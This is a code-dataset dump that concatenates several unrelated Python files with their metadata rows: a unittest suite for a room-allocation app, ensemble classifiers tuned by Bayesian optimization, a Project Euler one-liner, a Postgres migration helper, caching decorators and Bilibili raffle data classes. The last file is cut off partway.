"<room_name>": ['Orion', 'Meraki', 'Piper']
}
Dojo().create_room(arg)
arg = {
"<room_name>": 'Nairobi'
}
Dojo().print_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "The Room, NAIROBI doesn't exist.")
def test_print_empty_office(self):
Dojo().purge()
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Orion', 'Meraki', 'Piper']
}
Dojo().create_room(arg)
arg = {
"<room_name>": 'Orion'
}
Dojo().print_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "The Office ORION is empty")
def test_print_room_office(self):
Dojo().purge()
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": "FELLOW",
"<wants_accommodation>": "N"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
arg = {
"<room_name>": 'Orion'
}
Dojo().print_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "BOLAJI OLAJIDE")
def test_print_room_livingspace(self):
Dojo().purge()
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": 'FELLOW',
"<wants_accommodation>": "Y"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
arg = {
"<room_name>": 'Orion'
}
Dojo().print_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "BOLAJI OLAJIDE")
def test_print_room_livingspace_office(self):
Dojo().purge()
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<person_fname>": "Bolaji",
"<person_lname>": "Olajide",
"<FELLOW/STAFF>": 'FELLOW',
"<wants_accommodation>": "Y"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
arg = {
"<room_name>": 'Orion'
}
Dojo().print_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-5]
output2 = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "BOLAJI OLAJIDE")
self.assertEqual(output2, "BOLAJI OLAJIDE")
def test_print_empty_livingspace(self):
Dojo().purge()
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Meraki']
}
Dojo().create_room(arg)
arg = {
"<room_name>": 'Meraki'
}
Dojo().print_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "The Living Space MERAKI is empty")
def test_print_room_empty(self):
Dojo().purge()
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<room_name>": 'Orion'
}
Dojo().print_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-2]
output2 = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "The Office ORION is empty")
self.assertEqual(output2, "The Living Space ORION is empty")
def test_existing_livingspace(self):
Dojo().purge()
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "The LIVINGSPACE, ORION already exists!")
def test_load_people_(self):
Dojo().purge()
arg = {
"<file_name>": 'test_input'
}
Dojo().load_people(arg)
self.assertTrue('BRIAN MOSIGISI' in Dojo().fellow_data)
self.assertTrue('PERCILA NJIRA' in Dojo().staff_data)
arg = {
"<file_name>": 'test_input'
}
Dojo().load_people(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertTrue(output, "Invalid Argument Format!")
def test_reallocate_fellow(self):
Dojo().purge()
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Meraki', 'Piper']
}
Dojo().create_room(arg)
arg = {
"<file_name>": 'test_input'
}
Dojo().load_people(arg)
arg = {
'<person_fname>': 'Brian',
'<person_lname>': 'Mosigisi'
}
Dojo().get_person_id(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
fellow_id = output[-8:-1]
if Dojo().fellow_data['BRIAN MOSIGISI'].office == 'MERAKI':
arg = {
'<new_room_name>': 'Piper',
'<person_identifier>': fellow_id
}
Dojo().reallocate_person(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "BRIAN MOSIGISI has been reallocated to the Office PIPER")
else:
arg = {
'<new_room_name>': 'Meraki',
'<person_identifier>': fellow_id
}
Dojo().reallocate_person(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "BRIAN MOSIGISI has been reallocated to the Office MERAKI")
def test_reallocate_invalid_id(self):
arg = {
'<new_room_name>': 'Meraki',
'<person_identifier>': 'F00'
}
Dojo().reallocate_person(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "No fellow in the Dojo with the id: F00")
def test_reallocate_staff(self):
Dojo().purge()
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Meraki', 'Piper']
}
Dojo().create_room(arg)
arg = {
"<person_fname>": "Percila",
"<person_lname>": "Njira",
"<FELLOW/STAFF>": "STAFF",
"<wants_accommodation>": "Y"
}
Dojo().add_person(arg)
Dojo().allocate_room(arg)
arg = {
'<person_fname>': 'Percila',
'<person_lname>': 'Njira'
}
Dojo().get_person_id(arg)
id_output = sys.stdout.getvalue().strip().split("\n")[-1]
staff_id = id_output[-8:]
if Dojo().staff_data['PERCILA NJIRA'].office == 'MERAKI':
arg = {
'<new_room_name>': 'Piper',
'<person_identifier>': staff_id
}
Dojo().reallocate_person(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output,
"PERCILA NJIRA has been reallocated to the Office PIPER")
else:
arg = {
'<new_room_name>': 'Meraki',
'<person_identifier>': staff_id
}
Dojo().reallocate_person(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output,
"PERCILA NJIRA has been reallocated to the Office MERAKI")
def test_reallocate_staff_invalid_id(self):
Dojo().purge()
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Meraki']
}
Dojo().create_room(arg)
arg = {
'<new_room_name>': 'Meraki',
'<person_identifier>': 'L000'
}
Dojo().reallocate_person(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(
output, "Invalid Identifier")
def tearDown(self):
if os.path.isfile('data/db/fellow.db'):
os.remove(os.path.realpath("data/db/fellow.db"))
if os.path.isfile('data/db/office.db'):
os.remove(os.path.realpath("data/db/office.db"))
if os.path.isfile('data/db/livingspace.db'):
os.remove(os.path.realpath("data/db/livingspace.db"))
if os.path.isfile('data/db/staff.db'):
os.remove(os.path.realpath("data/db/staff.db"))
def test_reallocate_same_room(self):
Dojo().purge()
arg = {
"<room_type>": 'LIVINGSPACE',
"<room_name>": ['Orion']
}
Dojo().create_room(arg)
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Meraki']
}
Dojo().create_room(arg)
arg = {
"<file_name>": 'test_input'
}
Dojo().load_people(arg)
arg = {
'<person_fname>': 'Brian',
'<person_lname>': 'Mosigisi'
}
Dojo().get_person_id(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
fellow_id = output[-8:-1]
arg = {
'<new_room_name>': 'Meraki',
'<person_identifier>': fellow_id
}
Dojo().reallocate_person(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "You cannot relocate to the same room")
def test_get_invalid_id(self):
Dojo().purge()
arg = {
"<person_fname>": 'Bolaji',
"<person_lname>": 'Olajide'
}
Dojo().get_person_id(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output, "BOLAJI OLAJIDE doesn't exist in the Dojo!")
def test_similar_person(self):
Dojo().purge()
arg = {
"<room_type>": 'OFFICE',
"<room_name>": ['Meraki']
}
Dojo().create_room(arg)
arg = {
"<file_name>": 'test_input'
}
Dojo().load_people(arg)
arg = {
"<person_fname>": 'Bolaji',
"<person_lname>": 'Olajide'
}
Dojo().get_person_id(arg)
output = sys.stdout.getvalue().strip().split("\n")[-1]
self.assertEqual(output[0:14], 'BOLAJI OLAJIDE')
output = sys.stdout.getvalue().strip().split("\n")[-2]
self.assertEqual(output[0:14], 'BOLAJI OLAJIDE')
if __name__ == '__main__':
unittest.main()
| 32.805855
| 95
| 0.510591
| 2,179
| 21,291
| 4.808169
| 0.064709
| 0.032738
| 0.063281
| 0.081894
| 0.855684
| 0.83354
| 0.822946
| 0.801947
| 0.784194
| 0.7652
| 0
| 0.00452
| 0.324644
| 21,291
| 648
| 96
| 32.856481
| 0.724112
| 0.00357
| 0
| 0.718802
| 0
| 0
| 0.240851
| 0.016035
| 0
| 0
| 0
| 0
| 0.078203
| 1
| 0.061564
| false
| 0
| 0.006656
| 0
| 0.069884
| 0.023295
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f35a77622c36ffc52c0687fb362c865eb4e771fb
| 6,076
|
py
|
Python
|
black_box_optimization/ensemble_methods.py
|
Optimistic-Optimizers/Black-Box-Optimization
|
81444dc80886b808d509e0613e63bc77b7eac676
|
[
"MIT"
] | null | null | null |
black_box_optimization/ensemble_methods.py
|
Optimistic-Optimizers/Black-Box-Optimization
|
81444dc80886b808d509e0613e63bc77b7eac676
|
[
"MIT"
] | null | null | null |
black_box_optimization/ensemble_methods.py
|
Optimistic-Optimizers/Black-Box-Optimization
|
81444dc80886b808d509e0613e63bc77b7eac676
|
[
"MIT"
] | 2
|
2021-02-17T01:34:11.000Z
|
2021-03-17T21:27:33.000Z
|
def decision_tree_classifier(a,b,c,d):
'''This function runs the decision_tree_classifier on the data'''
import numpy as np
import os
import pandas as pd
from bayes_opt import BayesianOptimization
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.preprocessing import MinMaxScaler
from sklearn.ensemble import BaggingClassifier
from sklearn.metrics import accuracy_score
from sklearn.tree import DecisionTreeClassifier
if os.path.exists('data/All Data combined.xlsx'):
df = pd.read_excel('data/All Data combined.xlsx')
else:
df = pd.read_excel('../data/All Data combined.xlsx')
df = df.drop(['Unnamed: 0'], axis=1)
df = df.drop(['Unnamed: 8'], axis=1)
df = df.drop(['type_of_opt'], axis=1)
df.dropna()
df = df[df['accuracy [calc. max/ actual max]'] < 1.05]
x = df[['number of trials','number of parameters','accuracy [calc. max/ actual max]', 'time per trial [s]']].values
y = df['assigned_class']
x_train, x_test, y_train, y_test = train_test_split(x, y,test_size=0.30)
x_train = StandardScaler().fit(x_train).transform(x_train)
x_test = StandardScaler().fit(x_test).transform(x_test)
x_train = MinMaxScaler().fit(x_train).transform(x_train)
x_test = MinMaxScaler().fit(x_test).transform(x_test)
y_train = np.asarray(y_train)
def func(x,y):
estimator = DecisionTreeClassifier(max_depth= int(np.round(x)))
clf = BaggingClassifier(base_estimator=estimator, n_estimators= int(np.round(y)))
clf = clf.fit(x_train, y_train)
yhat = clf.predict(x_test)
acc = accuracy_score(y_test, yhat)
return acc
xmin = 1
xmax = 50
ymin = 1
ymax = 50
pbounds = {'x': (xmin, xmax), 'y': (ymin, ymax)}
optimizer = BayesianOptimization(f=func, pbounds=pbounds, verbose=3)
optimizer.maximize(init_points = 20, n_iter = 30)
best_params = optimizer.max["params"]
found_x = best_params['x']
found_y = best_params['y']
max_value = func(found_x, found_y)
print("Found x: {}, f: {}".format(found_x, (func(found_x, found_y))))
print("Found y: {}, f: {}".format(found_y, (func(found_x, found_y))))
print("Max value found is: {}".format(max_value))
estimator = DecisionTreeClassifier(max_depth=int(np.round(found_x)))
clf = BaggingClassifier(base_estimator=estimator, n_estimators= int(np.round(found_y)))
clf = clf.fit(x_train, y_train)
yhat = clf.predict(x_test)
acc = accuracy_score(y_test, yhat)
x = np.array([a,b,c,d]).reshape(1,-1)
predicted_category_num = int(clf.predict(x)[0])
if predicted_category_num == 0:
predicted_category = 'CmaEs'
elif predicted_category_num == 1:
predicted_category = 'Random'
elif predicted_category_num == 2:
predicted_category = 'TPE'
elif predicted_category_num == 3:
predicted_category = 'Bayes'
elif predicted_category_num == 4:
predicted_category = 'PULP_CBC_CMD'
return predicted_category
def random_forest_classifier(a,b,c,d):
'''This function runs the random_forest_classifier on the data'''
import numpy as np
import pandas as pd
import os
from bayes_opt import BayesianOptimization
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.preprocessing import MinMaxScaler
from sklearn.ensemble import RandomForestClassifier
from sklearn.metrics import accuracy_score
if os.path.exists('data/All Data combined.xlsx'):
df = pd.read_excel('data/All Data combined.xlsx')
else:
df = pd.read_excel('../data/All Data combined.xlsx')
df = df.drop(['Unnamed: 0'], axis=1)
df = df.drop(['Unnamed: 8'], axis=1)
df = df.drop(['type_of_opt'], axis=1)
df.dropna()
df = df[df['accuracy [calc. max/ actual max]'] < 1.05]
x = df[['number of trials','number of parameters','accuracy [calc. max/ actual max]', 'time per trial [s]']].values
y = df['assigned_class']
x_train, x_test, y_train, y_test = train_test_split(x, y,test_size=0.30)
x_train = StandardScaler().fit(x_train).transform(x_train)
x_test = StandardScaler().fit(x_test).transform(x_test)
x_train = MinMaxScaler().fit(x_train).transform(x_train)
x_test = MinMaxScaler().fit(x_test).transform(x_test)
y_train = np.asarray(y_train)
def func(x,y):
rfr = RandomForestClassifier(max_depth = int(np.round(x)), n_estimators = int(np.round(y)), max_features = 4)
rfr = rfr.fit(x_train, y_train.flatten())
yhat = rfr.predict(x_test)
acc = accuracy_score(y_test, yhat)
return acc
xmin = 1
xmax = 50
ymin = 1
ymax = 50
pbounds = {'x': (xmin, xmax), 'y': (ymin, ymax)}
optimizer = BayesianOptimization(f=func, pbounds=pbounds, verbose=3)
optimizer.maximize(init_points = 20, n_iter = 30)
best_params = optimizer.max["params"]
found_x = best_params['x']
found_y = best_params['y']
max_value = func(found_x, found_y)
print("Found x: {}, f: {}".format(found_x, (func(found_x, found_y))))
print("Found y: {}, f: {}".format(found_y, (func(found_x, found_y))))
print("Max value found is: {}".format(max_value))
rfr = RandomForestClassifier(max_depth = int(np.round(found_x)), n_estimators = int(np.round(found_y)), max_features = 4)
rfr = rfr.fit(x_train, y_train.flatten())
yhat = rfr.predict(x_test)
acc = accuracy_score(y_test, yhat)
x = np.array([a,b,c,d]).reshape(1,-1)
predicted_category_num = int(rfr.predict(x)[0])
if predicted_category_num == 0:
predicted_category = 'CmaEs'
elif predicted_category_num == 1:
predicted_category = 'Random'
elif predicted_category_num == 2:
predicted_category = 'TPE'
elif predicted_category_num == 3:
predicted_category = 'Bayes'
elif predicted_category_num == 4:
predicted_category = 'PULP_CBC_CMD'
return predicted_category
| 43.71223
| 125
| 0.671494
| 873
| 6,076
| 4.467354
| 0.153494
| 0.104615
| 0.061538
| 0.049231
| 0.954359
| 0.954359
| 0.929744
| 0.871795
| 0.871795
| 0.834359
| 0
| 0.012708
| 0.197005
| 6,076
| 138
| 126
| 44.028986
| 0.786637
| 0.019585
| 0
| 0.900763
| 0
| 0
| 0.1164
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.030534
| false
| 0
| 0.145038
| 0
| 0.206107
| 0.045802
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f36c574a1e61c47ca96378cd0c0b93dc31991c47
| 66
|
py
|
Python
|
problem.0001/problem1.py
|
jonathanjdavis/euler
|
b5e4c37b68182102e0c53f3c5f0fc2dc48cf9777
|
[
"Unlicense"
] | null | null | null |
problem.0001/problem1.py
|
jonathanjdavis/euler
|
b5e4c37b68182102e0c53f3c5f0fc2dc48cf9777
|
[
"Unlicense"
] | null | null | null |
problem.0001/problem1.py
|
jonathanjdavis/euler
|
b5e4c37b68182102e0c53f3c5f0fc2dc48cf9777
|
[
"Unlicense"
] | null | null | null |
#!python3
print(sum(set(range(0,1000,3)) | set(range(0,1000,5))))
| 22
| 55
| 0.651515
| 13
| 66
| 3.307692
| 0.692308
| 0.372093
| 0.418605
| 0.604651
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.209677
| 0.060606
| 66
| 3
| 55
| 22
| 0.483871
| 0.121212
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 9
|
f3801ba06ee1c3c0715f3dbe5aa17b0b9f2e50fc
| 2,740
|
py
|
Python
|
data_collection/altdata_service/db/sql/migration_of_db/django_migration_do_to_gcp/sql_queries.py
|
kaljuvee/openaltdata
|
9c5d140b56cfd5260fe3cf52b24bb7d467e87cf1
|
[
"MIT"
] | null | null | null |
data_collection/altdata_service/db/sql/migration_of_db/django_migration_do_to_gcp/sql_queries.py
|
kaljuvee/openaltdata
|
9c5d140b56cfd5260fe3cf52b24bb7d467e87cf1
|
[
"MIT"
] | null | null | null |
data_collection/altdata_service/db/sql/migration_of_db/django_migration_do_to_gcp/sql_queries.py
|
kaljuvee/openaltdata
|
9c5d140b56cfd5260fe3cf52b24bb7d467e87cf1
|
[
"MIT"
] | 1
|
2021-09-10T16:03:20.000Z
|
2021-09-10T16:03:20.000Z
|
import pandas as pd
import db.db_access as access
from sqlalchemy import create_engine
class gcp_psql_db_migration(object):
def __init__(self):
self.host, self.port, self.database, self.user, self.password = access.postgre_access_google_cloud()
self.message = str('postgres://' + self.user + ':' + self.password + '@' + self.host + ':' + self.port + '/' + self.database)
def get_create_engine(self):
engine = create_engine(self.message)
return engine
def get_table(self, table_name):
engine = self.get_create_engine()
query = """SELECT * FROM {TABLE_NAME}"""
query = query.format(TABLE_NAME=str(table_name))
df = pd.read_sql_query(query, con=engine.connect())
return df
def get__main_company_table(self):
engine = self.get_create_engine()
query = """SELECT * FROM maincompany"""
df = pd.read_sql_query(query, con=engine.connect())
return df
def get_company_table(self):
engine = self.get_create_engine()
query = """SELECT * FROM company"""
df = pd.read_sql_query(query, con=engine.connect())
return df
def insert_data(self, df, table_name):
engine = self.get_create_engine()
df.to_sql(table_name, con=engine.connect(), if_exists='append', index=False, method='multi')
return
class do_psql_db_migration(object):
def __init__(self):
self.host, self.port, self.database, self.user, self.password = access.postgre_access_digital_ocean()
self.message = str('postgres://' + self.user + ':' + self.password + '@' + self.host + ':' + self.port + '/' + self.database)
def get_create_engine(self):
engine = create_engine(self.message)
return engine
def get_table(self, table_name):
engine = self.get_create_engine()
query = """SELECT * FROM {TABLE_NAME}"""
query = query.format(TABLE_NAME=str(table_name))
df = pd.read_sql_query(query, con=engine.connect())
return df
def get__main_company_table(self):
engine = self.get_create_engine()
query = """SELECT * FROM maincompany"""
df = pd.read_sql_query(query, con=engine.connect())
return df
def get_company_table(self):
engine = self.get_create_engine()
query = """SELECT * FROM company"""
df = pd.read_sql_query(query, con=engine.connect())
return df
"""
def insert_data(self, df, table_name):
engine = self.get_create_engine()
df.to_sql(table_name, con=engine.connect(), if_exists='append', index=False)
return
"""
| 32.235294
| 134
| 0.614964
| 341
| 2,740
| 4.683284
| 0.167155
| 0.097683
| 0.093926
| 0.095178
| 0.916719
| 0.916719
| 0.916719
| 0.916719
| 0.916719
| 0.916719
| 0
| 0
| 0.259854
| 2,740
| 85
| 135
| 32.235294
| 0.787475
| 0
| 0
| 0.811321
| 0
| 0
| 0.075173
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.207547
| false
| 0.075472
| 0.056604
| 0
| 0.471698
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 9
|
45eddffd0285fbccf3d6b3c9c35142ec3031c52d
| 4,982
|
py
|
Python
|
src/pyrin/caching/remote/decorators.py
|
wilsonGmn/pyrin
|
25dbe3ce17e80a43eee7cfc7140b4c268a6948e0
|
[
"BSD-3-Clause"
] | null | null | null |
src/pyrin/caching/remote/decorators.py
|
wilsonGmn/pyrin
|
25dbe3ce17e80a43eee7cfc7140b4c268a6948e0
|
[
"BSD-3-Clause"
] | null | null | null |
src/pyrin/caching/remote/decorators.py
|
wilsonGmn/pyrin
|
25dbe3ce17e80a43eee7cfc7140b4c268a6948e0
|
[
"BSD-3-Clause"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
caching remote decorators module.
"""
from functools import update_wrapper
import pyrin.caching.services as caching_services
def memcached(*old_method, **options):
"""
decorator to convert a method or function into a lazy one.
note that this cache type supports expire time and will consider method inputs
in caching. the result will be calculated once and then it will be cached.
each result will be cached using a tuple of class type, method name, inputs,
current user and component key as a key in the cache.
that this decorator could be used on both instance or class level methods and
properties or stand-alone functions.
to be able to use this decorator you must install memcached client dependency
using `pip install pyrin[memcached]` and also remove
`pyrin.caching.remote.handlers.memcached` from `ignored_modules` of
`packaging.ini` file.
:param function | property old_method: the original decorated method or function.
:keyword bool consider_user: specifies that current user must be included in
key generation. if not provided, it will be get
from `caching` config store.
:keyword int expire: expire time for given key in seconds.
if not provided, it will be get from `caching`
config store.
:returns: method or function result.
"""
def decorator(method):
"""
decorates the given method or function and makes it a lazy one.
:param function | property method: decorated method or function.
:returns: method or function result.
"""
def wrapper(*args, **kwargs):
"""
decorates the given method or function and makes it a lazy one.
:param object args: function positional arguments.
:param object kwargs: function keyword arguments.
:returns: method or function result.
"""
result = caching_services.try_get('memcached', method, args,
kwargs, **options)
if result is not None:
return result
result = method(*args, **kwargs)
caching_services.try_set('memcached', result, method,
args, kwargs, **options)
return result
return update_wrapper(wrapper, method)
if len(old_method) > 0:
return decorator(old_method[0])
return decorator
def redis(*old_method, **options):
"""
decorator to convert a method or function into a lazy one.
note that this cache type supports expire time and will consider method inputs
in caching. the result will be calculated once and then it will be cached.
each result will be cached using a tuple of class type, method name, inputs,
current user and component key as a key in the cache.
that this decorator could be used on both instance or class level methods and
properties or stand-alone functions.
to be able to use this decorator you must install redis client dependency
using `pip install pyrin[redis]` and also remove
`pyrin.caching.remote.handlers.redis` from `ignored_modules` of
`packaging.ini` file.
:param function | property old_method: the original decorated method or function.
:keyword bool consider_user: specifies that current user must be included in
key generation. if not provided, it will be get
from `caching` config store.
:keyword int expire: expire time for given key in milliseconds.
if not provided, it will be get from `caching`
config store.
:returns: method or function result.
"""
def decorator(method):
"""
decorates the given method or function and makes it a lazy one.
:param function | property method: decorated method or function.
:returns: method or function result.
"""
def wrapper(*args, **kwargs):
"""
decorates the given method or function and makes it a lazy one.
:param object args: function positional arguments.
:param object kwargs: function keyword arguments.
:returns: method or function result.
"""
result = caching_services.try_get('redis', method, args,
kwargs, **options)
if result is not None:
return result
result = method(*args, **kwargs)
caching_services.try_set('redis', result, method,
args, kwargs, **options)
return result
return update_wrapper(wrapper, method)
if len(old_method) > 0:
return decorator(old_method[0])
return decorator
| 34.839161
| 85
| 0.620032
| 605
| 4,982
| 5.066116
| 0.203306
| 0.041762
| 0.083524
| 0.045024
| 0.927243
| 0.927243
| 0.903752
| 0.878303
| 0.878303
| 0.878303
| 0
| 0.001474
| 0.31935
| 4,982
| 142
| 86
| 35.084507
| 0.902389
| 0.632878
| 0
| 0.75
| 0
| 0
| 0.019512
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.1875
| false
| 0
| 0.0625
| 0
| 0.5625
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
340441949b7d7a26035f52b35fe0e39f6e795000
| 3,293
|
py
|
Python
|
substance/bili_data_types.py
|
Liu-0726/bili2.0
|
5320964b1f4fbb75ea9bccd4bb6fd3d15dfed0e0
|
[
"MIT"
] | 1,081
|
2018-07-10T11:20:22.000Z
|
2022-03-25T09:26:25.000Z
|
substance/bili_data_types.py
|
Liu-0726/bili2.0
|
5320964b1f4fbb75ea9bccd4bb6fd3d15dfed0e0
|
[
"MIT"
] | 440
|
2018-07-12T08:50:31.000Z
|
2021-12-22T11:56:54.000Z
|
substance/bili_data_types.py
|
Liu-0726/bili2.0
|
5320964b1f4fbb75ea9bccd4bb6fd3d15dfed0e0
|
[
"MIT"
] | 280
|
2018-07-11T14:35:20.000Z
|
2022-03-28T11:09:14.000Z
|
import attr
@attr.s(frozen=True)
class SubstanceRaffleStatus:
# ่ฟ้จๅไฟ่ฏๆนไพฟ่ฟ
้ๅฎไฝๆๆกๅจๆ๏ผๆๅจ๏ผ
aid = attr.ib(converter=int)
number = attr.ib(converter=int)
describe = attr.ib(validator=attr.validators.instance_of(str))
join_start_time = attr.ib(converter=int)
join_end_time = attr.ib(converter=int)
handle_status = attr.ib(validator=attr.validators.in_([-1, 0, 1])) # -1 ่กจ็คบๆชๅไธ๏ผ0่กจ็คบๆญฃๅจๅไธ๏ผ 1่กจ็คบๅทฒ็ปๅไธ
# ไธไบๅ
ถไปไฟกๆฏ
prize_cmt = attr.ib(
default=attr.Factory(list),
validator=attr.validators.deep_iterable(
member_validator=attr.validators.instance_of(str),
iterable_validator=attr.validators.instance_of(list)
)
)
# ๅฝๅๆจกไปฟattrs็astuple๏ผ้ๆฐๆฎๅบๆฐๆฎ่ฝฌๅไธบๆฐๆฎๅบๆฐๆฎ็ดๆฅไฝฟ็จ๏ผๆ ้ๅจsqliteๅ
ๅๆฌก่ฝฌๆข็ฑปๅ
def as_sql_values(self):
aid = str(self.aid) # str ๆ่ถ
ๅบsql็int้ๅถ้ฟๅบฆ๏ผๅฆๆไฝฟ็จsqlite็้ป่ฎคint่ฝฌstr๏ผ่ฟsbๅ
ๆๅคฑ็ฒพๅบฆ๏ผๅๅญไธบstr๏ผmdzz๏ผ!!!!!!!
number = str(self.number)
describe = self.describe[:20] # ๆชๆญๆฐๆฎ๏ผ้ฒๆญขๆ่ฟฐ่ฟ้ฟ
join_start_time = self.join_start_time
join_end_time = self.join_end_time
handle_status = self.handle_status
prize_cmts = ' '.join([i.replace(' ', 'ใ') for i in self.prize_cmt]) # ็ฉบๆ ผๆขๆๅ
จ่ง๏ผ็จๅ่ง็ฉบๆ ผ่กจ็คบelementไน้ด้ด้
return aid, number, describe, join_start_time, join_end_time, handle_status, prize_cmts
@attr.s(frozen=True)
class SubstanceRaffleJoined:
uid = attr.ib(converter=int)
aid = attr.ib(converter=int)
number = attr.ib(converter=int)
def as_sql_values(self):
uid = str(self.uid)
aid = str(self.aid)
number = str(self.number)
return uid, aid, number
@attr.s(frozen=True)
class SubstanceRaffleResults:
aid = attr.ib(converter=int)
number = attr.ib(converter=int)
describe = attr.ib(validator=attr.validators.instance_of(str))
join_start_time = attr.ib(converter=int)
join_end_time = attr.ib(converter=int)
# ๆ็ป่ทๅฅๆ
ๅต
# ไธไบๅ
ถไปไฟกๆฏ
prize_cmt = attr.ib(
validator=attr.validators.deep_iterable(
member_validator=attr.validators.instance_of(str),
iterable_validator=attr.validators.instance_of(list)
)
)
prize_list = attr.ib(
validator=attr.validators.deep_iterable(
member_validator=attr.validators.instance_of(int),
iterable_validator=attr.validators.instance_of(list)
)
)
def as_sql_values(self):
aid = str(self.aid) # str ๆ่ถ
ๅบsql็int้ๅถ้ฟๅบฆ๏ผๅฆๆไฝฟ็จsqlite็้ป่ฎคint่ฝฌstr๏ผ่ฟsbๅ
ๆๅคฑ็ฒพๅบฆ๏ผๅๅญไธบstr๏ผmdzz๏ผ!!!!!!!
number = str(self.number)
describe = self.describe[:20] # ๆชๆญๆฐๆฎ๏ผ้ฒๆญขๆ่ฟฐ่ฟ้ฟ
join_start_time = self.join_start_time
join_end_time = self.join_end_time
prize_cmts = ' '.join([i.replace(' ', 'ใ') for i in self.prize_cmt])
prize_list = ' '.join([str(i) for i in self.prize_list])
return aid, number, describe, join_start_time, join_end_time, prize_cmts, prize_list
@attr.s(frozen=True)
class SubstanceRaffleLuckydog:
uid = attr.ib(converter=int)
aid = attr.ib(converter=int)
number = attr.ib(converter=int)
def as_sql_values(self):
uid = str(self.uid)
aid = str(self.aid)
number = str(self.number)
return uid, aid, number
| 33.602041
| 106
| 0.644701
| 406
| 3,293
| 5.046798
| 0.169951
| 0.058565
| 0.102489
| 0.122987
